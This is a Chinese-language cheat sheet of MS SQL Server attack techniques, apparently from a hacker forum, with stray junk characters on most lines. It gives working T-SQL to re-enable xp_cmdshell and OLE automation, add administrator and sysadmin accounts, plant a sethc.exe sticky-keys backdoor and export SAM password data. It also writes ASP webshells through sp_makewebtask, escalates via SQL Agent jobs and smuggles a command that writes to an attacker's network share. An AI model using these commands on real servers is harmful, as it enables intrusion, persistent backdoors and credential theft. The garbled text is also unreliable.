1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
2 A( ?9 z5 k( M1 H恢复方法:查询分离器连接后,. @" \7 D7 K5 j
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
( Y0 O2 f8 [7 b# z第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 9 m+ V% ~8 V8 d% Y( [1 l
然后按F5键命令执行完毕
$ r0 v. B; [; \- [
" w! F* ?# Z5 l2 h0 s0 r2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)0 Q/ @# N$ J) n; J Z; U% ~ K
恢复方法:查询分离器连接后,
2 K+ e$ o E; G5 X第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell" e1 [, o) ]1 E* s$ E1 d
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
" ^5 }; @, u! I0 L- Q然后按F5键命令执行完毕
5 i# b: R) b0 T8 ~% p! Y; S
, ~( E5 b7 w7 N+ |8 J3 ^& i) L! O" H" f5 p3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
! r3 E' P. z$ \) l恢复方法:查询分离器连接后,
8 Z9 j6 c* e9 h( D; O第一步执行:exec sp_dropextendedproc 'xp_cmdshell'3 v* [7 w! K/ T" X
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
8 J1 V6 J' ?+ j% D, ~ ?然后按F5键命令执行完毕
' U+ |% |# v# G0 m3 h0 A5 r* y1 N8 n* l% H8 h2 \
4 终极方法.5 E0 t, s5 S. C$ {
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:: F- j4 K ]0 k% O
查询分离器连接后,
4 y; o) J, _: {, c) R2000servser系统:/ \ b ?. v9 K6 K0 T
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
: p. v4 n$ i+ i( g) P
" J3 l+ T" e$ B3 W- k7 |declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'4 ^" A3 y! a" R+ {2 X% c- m
8 I2 d- K9 X, ?; n/ k- I% ~xp或2003server系统:
. ?/ |0 U; ~+ q+ ?6 `" _8 P7 h% d
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
1 f/ O/ v% s( {" L+ K7 c
; L6 n- c6 o3 Jdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'( U" K# d/ V$ g8 G% J1 A. E
3 k% S3 V) W. S0 q% O
6 |- Y) Z6 x3 A9 F3 d" n9 A五个SHIFT
. L4 G! W* r7 h* |declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';1 r7 u9 }/ g* r# W& i
3 A% G# F/ I% l' pdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
* X& ^1 S; d7 Y+ A; Z3 u( j8 Y* V* R) O# [7 g
xp_cmdshell执行命令另一种方法4 U4 ^. W* `3 E
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
% A" ?) D% P" w9 p3 r
3 \ a7 B f% I1 m+ Q7 P# ~7 \判断存储扩展是否存在
1 \* Z/ i! ~2 {$ zSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
, Q" L# B. e v/ n( A8 w' J; p( T, R. l返回结果为1就OK( {: _1 G/ G) y* Q2 [% k# s
5 U. ?! y: L6 w1 v1 T" ^" B
+ L4 r2 G9 ~ A" I1 b8 N C8 R上传xplog70.dll恢复xp_cmdshell语句:
5 e" a! ^8 v! x; d: J0 L3 Hsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'' G& W& d/ d3 ?+ ^6 k, f: n. z+ t* l
0 g0 |& |; \$ D否则上传xplog7.0.dll
: v( q2 j) U) B- u+ R) I* |7 \. AExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'1 A3 j1 m# {9 U/ j n6 o
& K" ^! v* `4 q! k! [1 L$ g' f1 A' W, N/ m
% H: v7 s9 V& S- j首先开启沙盘模式:
$ y9 k8 v$ U( c) S% I8 F! Gexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
) s& Z# g: c- Q; s1 X
) A' Q% C0 @1 @& q$ T然后利用jet.oledb执行系统命令+ H+ q1 a1 ?: t# D, _5 F0 Q
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')* { f! {' {" ?" n
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
2 D% L3 i# K4 \; ^2 [3 x8 M/ b! S9 M) ~ r; s# u& d
, [( `* {3 [. ]3 O/ e
' |1 x, H% ~) I* Q: y% o9 R恢复过程sp_addextendedproc 如下: , {$ x( N( b3 t _, A# k
create procedure sp_addextendedproc --- 1996/08/30 20:13
- k& @/ S: Q6 ?7 K: a# @@functname nvarchar(517),/* (owner.)name of function to call */ , c& d4 g; o) M& u# c! n
@dllname varchar(255)/* name of DLL containing function */ $ q6 Z( z9 g2 V: v& R, n0 i3 u
as
1 j2 y# C: A! z+ i, u7 n% V1 Vset implicit_transactions off
0 ^3 ` o5 @: x8 J9 e% v) H) ~9 f" S7 Cif @@trancount > 0
4 t3 a$ e0 | r" s0 B5 bbegin
k6 v$ E+ ]2 n+ \raiserror(15002,-1,-1,'sp_addextendedproc') 6 I. F0 u3 L$ d0 {# N) K
return (1) 5 r6 ^+ }6 Q0 s ]
end
% U& ^, F" c, S9 J: Pdbcc addextendedproc( @functname, @dllname)
( n2 v s4 [2 y; G( X' g q, W- qreturn (0) -- sp_addextendedproc $ P8 w z/ W6 A6 X& I, |) x; L
GO
9 E. I5 n6 B! o/ A7 l& \9 S& _" A7 \: D( Q1 s0 m$ U
3 j( F* S0 m9 Q0 U: E0 e
* T8 ^# O. |6 l) m, K i; u8 r
导出管理员密码文件. O$ L6 W) f `7 H2 L6 F7 A
sa默认可以读sam键.应该。
: h3 l4 [2 ~4 X" B2 l$ U5 [reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
3 `" a0 D8 o5 e- N+ k3 `5 y J0 [net user administrator test
; }8 k2 {/ h4 V7 c4 G* W& U7 q用administrator登陆.' s+ Y1 a: Q0 O9 a/ ?# _
用完机器后1 G3 Q. L- M6 X+ y L) l8 d
reg import c:\test.reg
Y- C3 B! c3 ^2 X$ X根本不用克隆.+ |, X0 }4 D' `+ k$ r
找到对应的sid.
6 O* V" a9 t' F& U# `4 A
: e8 x, u4 l% u; V$ l& s+ Y% e; w
" E1 W" B0 f2 P6 }恢复所有存储过程4 _: k/ H" {" K
use master 7 v6 ]4 w( y# C7 s. e
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
& q" a/ g* ~+ m* P: p) z' Y4 r/ |exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
0 V! m/ A2 f; x, Sexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
% {; I( @8 n8 F" q" l- z9 Mexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' $ I, K; Z) I4 m! b
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' + ~4 A: B m7 w3 l1 ], _1 ~$ p
exec sp_addextendedproc sp_OACreate,'odsole70.dll' m$ o7 q) A1 z8 k( r
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
8 A, k2 P e3 Z( z1 H+ Kexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 5 s$ A+ x2 M/ U" U2 Y0 D7 P3 y
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
% q& Y1 x2 S7 M2 Q1 q' m, cexec sp_addextendedproc sp_OAMethod,'odsole70.dll'
) u1 F* B1 U* O5 dexec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
- d/ S9 g& g0 ? @! Hexec sp_addextendedproc sp_OAStop,'odsole70.dll'
6 U, S6 M" m: {: ~7 n* s: |exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 4 X, Q, Y8 L+ ~' R ~; A
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 6 P' l! H9 I8 Y" B, @& H
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
3 N5 E/ T1 I0 K' }# e0 G9 W1 {exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
# g( c" x. o3 A1 V! O3 ^% Kexec sp_addextendedproc xp_regread,'xpstar.dll'
. y! L5 M- S" G- K$ texec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
; ?* {& ?% J' y; R& Qexec sp_addextendedproc xp_regwrite,'xpstar.dll'
p& q! ]; G! v( f; ^. lexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
( ]; e1 h+ I* M- K2 W8 \! j1 }' u7 v3 Z6 i) W
8 g2 @8 B( k& `; |9 [2 W建立读文件的存储过程
+ j2 m) R2 B( U5 }) ^1 cCreate proc sp_readTextFile @filename sysname
! C \2 [2 [; R: G, Ias( R @+ E# X! Q. I
+ x; j( c# r4 U. |, J
begin 6 [) |" }6 _( l& [$ t
set nocount on 6 b3 H# q4 P& q, ~! E: \
Create table #tempfile (line varchar(8000))
: o6 d" c$ q' u2 f, R5 J exec ('bulk insert #tempfile from "' + @filename + '"')
: \, J" N! P1 a0 Z7 w% R select * from #tempfile
6 u( k p I; n l drop table #tempfile3 X4 l6 _# A* A, U/ Y. T. G w
End
) S- t/ z/ f6 m4 U$ i: K/ ]8 O _
, G2 A6 Y! @ ^, ^9 {exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件; D% c; ]4 d/ O0 _3 h% Q
查看登录用户: j( W2 e5 ]" p, I5 y
Select * from sysxlogins& S7 U9 ?% \8 J8 t) W
3 W _: n8 ~5 J2 i% ^把文件内容读取到表中$ s6 P8 p# {1 G; \5 m
BULK INSERT tmp from "c:\test.txt"! ?9 I% B1 p9 w
dElete from 表名 清理表里的内容
D1 F- G1 A0 z* icreate table b_test(fn nvarchar(4000));建一个表,字段为fn$ I! Z$ b+ @% [& R
& R, j ]) T t6 ~. I1 u; C1 [( v a* X% R* y- k0 A
加sa用户
% V, `4 c2 G( r' O4 Sexec master.dbo.sp_addlogin user,pass;+ P% `) P+ F( p
exec master.dbo.sp_addsrvrolemember user,sysadmin
3 `" _) ^, \6 l: H
+ } k) D, w' ]. \' x4 g% v! H: X3 d+ ^
( C5 x. c' s3 I/ B3 r$ \
读文件代码
, k' ?3 m* l- O5 R3 z0 Adeclare @o int, @f int, @t int, @ret int+ q. t# Z d) e% e( U4 j7 w
declare @line varchar(8000)6 ?+ Y W0 v+ G
exec sp_oacreate 'scripting.filesystemobject', @o out
' k1 u* Z% l6 zexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
/ ]$ S4 r1 D. r8 A3 yexec @ret = sp_oamethod @f, 'readline', @line out
! \! v4 b8 [% A4 X7 E+ z! D1 K. J9 |while( @ret = 0 )
- [1 [+ O9 x, Gbegin7 [) p; Q+ f: {0 l+ A! k
print @line- W; w& G' G, G9 t' m4 @( Y3 z
exec @ret = sp_oamethod @f, 'readline', @line out2 f7 e3 S6 W0 \) h. {7 E2 @/ m
end
4 k V% n% u, n2 f9 Y0 I& V {
% a/ L0 g3 H0 e
& n# F3 t6 \8 p2 I写文件代码:/ N* c" ~! t7 L4 s
declare @o int, @f int, @t int, @ret int: v4 Q- m* ^0 l) h! x' n
exec sp_oacreate 'scripting.filesystemobject', @o out
0 z5 [3 p. j+ T+ ~0 V5 Bexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1& L% I+ Z# e; x+ R
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
, x: w* _6 Q3 i6 K$ n$ J# a9 v! O1 R- m9 @
~7 P) i% W4 s! r7 N" o4 M0 r2 m添加lake2 shell
; \. l5 ]% k! _sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'. _- R; Q' ?5 w
sp_dropextendedproc xp_lake2
" B0 S, A& u( H0 \& cEXEC xp_lake2 'net user'8 f; r* L/ d. P& i( j- `
& N5 ^! w3 r1 G2 [
) c- x7 n, [3 R% A: Z$ O# n得到硬盘文件信息 : R3 C- L, [3 J7 Y5 I N# w7 [
--参数说明:目录名,目录深度,是否显示文件
2 i# ?' o [- Z1 g' c! }( yexecute master..xp_dirtree 'c:'
- o% N" X/ z4 A. {3 l* I4 Wexecute master..xp_dirtree 'c:',1
8 ?0 P; S! `( ^* ]; G- y+ f; Q. ]. }execute master..xp_dirtree 'c:',1,1
, o$ Z4 c% Y; t% o! R& o8 A1 U
4 ?) |) I/ C2 a% i% r
" n5 U+ G+ B2 P$ K" P/ X读serv-u配置信息
, h/ D B A8 ?! N* H7 iexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'3 z' h' w7 |+ S( ~# K! d
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
# _8 e; U5 L- s8 J% _$ J* N* l! u, O! \* h( Q4 x# R
通过xp_regwrite写SHIFT后门
0 B$ G* {5 S ^, Z& Kexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--: s7 J5 i1 s5 I; c! q9 O/ t
3 Q0 Y- k" `) X) o- G
6 \, S0 L6 S1 N. i6 w. T4 | u6 @2 R- k* B
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';& q' M" k" J. H( I' b
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
^8 k) p% J1 Y X! Y* ], E
5 H9 ]1 u- _; j S) VEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
/ Y) T5 B3 _) c# m2 K& X7 G- z1 A4 B5 L5 a4 E
: q$ q) p5 `0 W' p
) n( [. c& F8 @sql server 2005下开启xp_cmdshell的办法
+ Z8 t; m" N( G! _; u6 z
& i4 h9 ~: J6 X2 y- L7 AEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;! Q+ E' b/ M( Z
" m8 J# p& S8 d, U; K
SQL2005开启'OPENROWSET'支持的方法:$ t# e# O" C- T, H& L- w: L* h6 ?
, V) _ c5 p- n3 a, R. k" J9 L: Xexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;7 q/ u+ O. Z+ Z, U5 G: M6 W
& ~; Y9 s2 k0 u5 E2 ^) V
SQL2005开启'sp_oacreate'支持的方法:
9 B9 `( a9 {5 m+ y3 N- {7 E+ ?
- ^% q& J) J/ aexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
* r! q' d0 v0 y' C4 Y' G
# x% C( b% m/ C
% z0 x% s- V2 D/ {0 h/ c: _0 `) E/ b3 K1 [9 Z0 `
1 m+ O {8 j; ~& Q
% d0 F, Y) h' Z' y1 r1 X& i
1 ^8 v) r' d" k4 X% U
$ r/ Z) X7 ?( _" i# O3 ?1 {# T2 u! F
, X" `* W% ~$ Y! ^( |
% p5 @* ?- u9 P e3 @- v, W8 \3 s
7 A" p6 A$ J- ?: q
3 t# z$ s) z/ P0 ~4 y D/ \* w* H Q" i+ ~% q
( I( O4 q. y7 t6 c
) E6 x6 U$ L0 N) H( S/ P2 W( _$ |: [; Q5 j
3 B5 Y& `. R5 A ^& x
; S9 J6 N2 k0 O# x1 j
* y; E. w" X( \6 j0 F6 L% G
/ S/ t! }) u5 d- x$ i+ a$ t7 e/ s( O
/ p0 C( V' ]# n4 k5 I* o" K
. C7 u# o" a1 {
以下方面不知道能不能成功暂且留下研究哈:1 }1 D7 L( N2 K6 X A1 ^* g
4)
& E ^1 v6 _/ ?# _2 @use msdb; --这儿不要是master哟
) E% A$ Q( W! Z4 Y3 y" O1 V/ pexec sp_add_job @job_name= czy82 ;( O$ X+ p7 m/ |. c; J, l% E% _0 C
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
c2 b# W* Z. {" l8 l) U5 p/ hexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;" B/ R& ]0 Y9 \9 M3 [0 d
exec sp_start_job @job_name= czy82 ;6 M$ M+ ]6 g) ?% c8 V
z* H: Y0 ^- j1 `- v6 L5 Y' W( Q利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以; K) `/ c! G( c }7 N' r
执行tsql语句了./ m& @) c8 \5 F; q8 Z9 O/ i: M
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名# J1 T. b8 K! |5 }* H& i2 E2 n
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)9 R, ?0 {; j# M9 Y
net start SQLSERVERAGENT
8 j/ b H1 ?1 `/ T# n
, y% V2 b1 x! z, }& @& `4 l" s( k: b; g对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的, w i+ d+ y! a8 @4 o
USE msdb1 x7 l! x- \" K6 H3 T% a
EXEC sp_add_job @job_name = GetSystemOnSQL ,
2 Y. ~1 d/ I$ v@enabled = 1,
0 Y7 g' _5 E. w D: _) I@description = This will give a low privileged user access to
1 i" ~6 d4 L; P9 bxp_cmdshell ,
& c/ f# v2 `7 U% g, Q6 P@delete_level = 1
& a0 P, x6 @* }' p2 o& m# j$ wEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,, a) b8 a/ N: g4 k/ B
@step_name = Exec my sql ,
- `: ]9 E4 V7 e% H T. h@subsystem = TSQL ,$ ~) E) V; l# o3 V4 B* v1 P
@command = exec master..xp_execresultset N select exec
+ v7 B- N) i# p9 ^( f! C" imaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master . V& l7 D: L7 l& @ H+ G6 K7 f
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,# X1 R* U" u- Q2 V
@server_name = 你的SQL的服务器名 & {% g$ B% V$ T$ m+ N
EXEC sp_start_job @job_name = GetSystemOnSQL x! p6 C8 }: E8 O( V0 \/ y' a
% d4 o. O; r7 u, n4 t# h
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
% E( R+ k; Q) {5 A2 H# k才让我们可以以public执行xp_cmdshell
. R A/ I; m p. y4 j$ x# V) I; y; G0 z
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)8 e7 \7 Q: M" I# ~
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968. j6 B" e/ v( L# [" _+ b$ ]
7 t7 f% `: @/ z
USE msdb6 C8 w) S8 \8 y G4 g
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
' Z# E: J! Y) h# \! H@enabled = 1,' |" l) l5 L, { M2 d. Y
@description = This will create a file called c:\sqlafc123.txt ,6 O7 h8 `* A2 u9 o
@delete_level = 1
9 i2 P8 Z: [1 N5 \EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,& Q' B. P9 M: i9 Y! z; C
@step_name = SQLAFC ,
' t4 n/ x0 A6 R& z+ `' H* ?" y@subsystem = TSQL ,
d/ _1 a. n3 x! E! m. T2 \5 T+ f@command = select hello, this file was created by the SQL Agent. ,+ o; j% ~: ~$ `
@output_file_name = c:\sqlafc123.txt
8 u. w. ]- w0 B( u1 ^- b: b0 P3 gEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,+ D S; L( [' p* j6 B
@server_name = SERVER_NAME
$ i$ i& H" d8 o' H' J9 n$ y8 yEXEC sp_start_job @job_name = ArbitraryFilecreate
* n* P% }5 L' t6 l) d
+ N9 ?- `+ y( }/ k& ?5 m' C& b# |如果subsystem选的是:tsql,在生成的文件的头部有如下内容
# R4 N+ p3 U" T
6 U0 ~8 O* e. q: a??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19# `6 ^0 g+ k% u
----------------------------------------------# z' J7 t& B& z4 }0 f, Y
hello, this file was created by the SQL Agent.0 r' s5 y l( h Q
2 d* m* ?% v' ^) s, X3 j
(1 ?????)9 Z! _2 l k9 v. n' w; T
+ B2 e# _( b( ?! T$ s所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
% s; ? O7 D. b9 o命令的vbs文件到启动目录!
% k( g2 ]/ [' s2 ^: l4 E
7 M: m2 O! v v6)关于sp_makewebtask(可以写任意内容任意文件名的文件), E! m6 S* C( B+ [& A K1 c
关于sp_MScopyscriptfile 看下面的例子
' W- t' I7 a# l& f; ldeclare @command varchar(100)
, d8 A. V$ F& jdeclare @scripfile varchar(200)
* t* J% y8 h7 a! ~" Rset concat_null_yields_null off ~# j! {; y; D0 S" E
select @command= dir c:\ > "\\attackerip\share\dir.txt" 1 {! a( u5 T% u; u
select @scripfile= c:\autoexec.bat > nul" | @command | rd " & _& p4 \! H. }4 \$ V, j
exec sp_MScopyscriptfile @scripfile , " s. @; \4 P3 T( N, F6 G
3 J+ P$ y) E. `; X! k这两个东东都还在测试试哟
4 d5 d0 @) _: s' c2 M让MSSQL的public用户得到一个本机的web shell , O8 r) S0 |2 {3 L2 e# U- b' ]" z
/ n t) G) X5 T1 Asp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
$ F% i' H% A: E. d* `% [--@query= select <img src=vbscript:msgbox(now())> - E. Q9 N3 g W5 G# Z5 n& y: i& e
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
3 C* o+ K7 w/ j/ F' q6 _/ ]@query= select
1 F z1 l; ^; d- R1 T<%On Error Resume Next 3 r3 [7 B: x, B& H3 |9 O4 R' g
Set oscript = Server.createObject("wscript.SHELL")
7 B: J6 d5 \& x+ n1 Q @Set oscriptNet = Server.createObject("wscript.NETWORK")
4 [9 L! f$ J- W+ Z) j" G1 kSet oFileSys = Server.createObject("scripting.FileSystemObject") " m8 d$ D4 d$ ~# H, }/ W
szCMD = Request.Form(".CMD")
6 O, K0 I; d/ K. LIf (szCMD <>"")Then 2 p, S7 H/ f. }# r; N5 k4 y: J q, H
szTempFile = "C:\" & oFileSys.GetTempName()
' ], h0 u- t! M3 K0 k( V# j" XCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 2 s( n% U. @4 c" A; \: [9 n
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
; l& d: D% l% ^( FEnd If %>
3 y* c+ ]6 {: I; E& o<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
' I+ a4 K E) a<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
) U2 ?2 m4 r8 Z% c0 J+ q/ w</FORM>< RE> 6 l) Q: T U2 v- U! u& r7 c
<% If (IsObject(oFile))Then / }( R* Y2 K1 v- [
On Error Resume Next
: P" H' v) @/ W- A, MResponse.Write Server.HTMLEncode(oFile.ReadAll) 0 z$ _+ S5 I7 P: Q9 }( H
oFile.Close
- |# p, c* @# ^- y- iCall oFileSys.deleteFile(szTempFile, True)
, V+ {& \' M; b+ N N" ~End If%> $ S& L1 ]3 {! f* p2 S! k& y2 r, q" V
</BODY></HTML> % S* D6 k/ p+ ~# ]
|